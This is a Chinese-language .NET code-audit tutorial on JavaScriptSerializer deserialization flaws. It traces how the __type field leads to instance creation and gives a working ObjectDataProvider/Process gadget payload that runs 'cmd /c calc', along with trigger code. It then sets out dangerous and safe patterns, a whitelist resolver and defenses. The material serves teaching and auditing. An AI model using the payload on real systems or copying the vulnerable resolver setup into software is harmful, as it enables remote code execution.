.NET高级代码审计(第四课)JavaScriptSerializer反序列化漏洞
字数 1332 2025-08-18 11:38:08
JavaScriptSerializer反序列化漏洞分析与防御
一、概述
JavaScriptSerializer是.NET Framework 2.0之后提供的JSON序列化和反序列化类,位于System.Web.Script.Serialization命名空间,通过System.Web.Extensions引用。当开发者使用Deserialize或DeserializeObject方法处理不安全的JSON数据时,可能导致反序列化攻击,实现远程代码执行(RCE)。
二、JavaScriptSerializer序列化机制
基本序列化示例
public class TestClass {
public string Name { get; set; }
public string Age { get; set; }
public string Address { get; set; }
public static void ClassMethod(string cmd)
{
Process.Start(cmd);
}
}
// 序列化示例
TestClass test = new TestClass {
Name = "Ivan1ee",
Age = "18",
Address = "BeiJing"
};
JavaScriptSerializer serializer = new JavaScriptSerializer();
string json = serializer.Serialize(test);
默认序列化输出:
{"Name":"Ivan1ee","Age":"18","Address":"BeiJing"}
使用类型解析器
JavaScriptSerializer serializer = new JavaScriptSerializer(new SimpleTypeResolver());
string json = serializer.Serialize(test);
添加SimpleTypeResolver后的输出包含程序集全标识:
{"__type":"TestClass, AppName, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null","Name":"Ivan1ee","Age":"18","Address":"BeiJing"}
三、反序列化漏洞原理
反序列化流程
DeserializeObject或Deserialize方法调用DeserializeInternal- 检查字典中是否包含
__type键(ServerTypeFieldName常量) - 通过
ConvertObjectToType、ConvertObjectToTypeMain、ConvertObjectToTypeInternal方法链处理 - 最终在
ConvertDictionaryToObject方法中:- 获取
__type值 - 强制转换为字符串
serverTypeName - 通过
System.Activator.CreateInstance创建实例
- 获取
漏洞触发条件
- 初始化
JavaScriptSerializer时使用了SimpleTypeResolver - 反序列化的JSON数据可控
- JSON中包含恶意构造的
__type字段
四、漏洞利用
利用ObjectDataProvider类
{
"__type": "System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"MethodName": "Start",
"ObjectInstance": {
"__type": "System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
"StartInfo": {
"__type": "System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
"FileName": "cmd",
"Arguments": "/c calc"
}
}
}
漏洞触发代码
string json = "恶意JSON数据";
JavaScriptSerializer serializer = new JavaScriptSerializer(new SimpleTypeResolver());
serializer.Deserialize<Object>(json);
五、代码审计要点
危险代码模式
- 使用
SimpleTypeResolver的JavaScriptSerializer初始化:
// 危险代码
JavaScriptSerializer serializer = new JavaScriptSerializer(new SimpleTypeResolver());
serializer.Deserialize(input);
- 直接反序列化不可信输入:
// 危险代码
public object DeserializeJson(string input)
{
JavaScriptSerializer serializer = new JavaScriptSerializer();
return serializer.DeserializeObject(input);
}
安全代码模式
- 不使用类型解析器(默认安全):
// 安全代码
JavaScriptSerializer serializer = new JavaScriptSerializer();
- 使用自定义安全类型解析器(白名单):
public class SafeTypeResolver : JavaScriptTypeResolver
{
public override Type ResolveType(string id)
{
// 只允许特定类型
if (id == typeof(SafeClass).AssemblyQualifiedName)
return typeof(SafeClass);
return null;
}
public override string ResolveTypeId(Type type)
{
return type.AssemblyQualifiedName;
}
}
六、防御措施
- 避免使用SimpleTypeResolver:默认情况下
JavaScriptSerializer不使用类型解析器是安全的 - 使用白名单机制:如需使用类型解析器,实现自定义解析器并限制可反序列化的类型
- 验证输入数据:反序列化前验证JSON数据,过滤可疑内容
- 使用替代方案:考虑使用更安全的JSON库如
Newtonsoft.Json(需正确配置) - 最小权限原则:运行应用程序的账户应具有最小必要权限
七、总结
JavaScriptSerializer反序列化漏洞的关键在于:
- 使用了
SimpleTypeResolver类型解析器 - 反序列化了不可信的JSON数据
- JSON中包含恶意构造的
__type字段指定危险类型
在开发中应避免直接反序列化不可信数据,如需处理外部JSON输入,应使用安全的配置或替代方案。审计时应重点关注JavaScriptSerializer初始化时是否使用了类型解析器,以及反序列化的数据来源是否可控。